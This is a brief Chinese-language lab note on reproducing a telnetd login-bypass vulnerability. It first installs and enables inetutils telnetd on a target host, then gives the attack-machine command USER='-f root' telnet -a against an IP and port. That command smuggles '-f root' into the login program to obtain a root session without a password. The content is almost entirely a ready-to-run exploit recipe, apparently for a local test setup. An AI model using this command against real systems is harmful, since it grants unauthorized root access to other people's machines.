宿主机 telnet 开启漏洞服务

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sudo apt-get install inetutils-telnetd telnet
sudo sed -i 's/#<off># telnet/telnet/' /etc/inetd.conf
sudo /etc/init.d/inetutils-inetd start

攻击机

-r不填默认23端口

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USER='-f root' telnet -a 192.168.1.1 -r 32791

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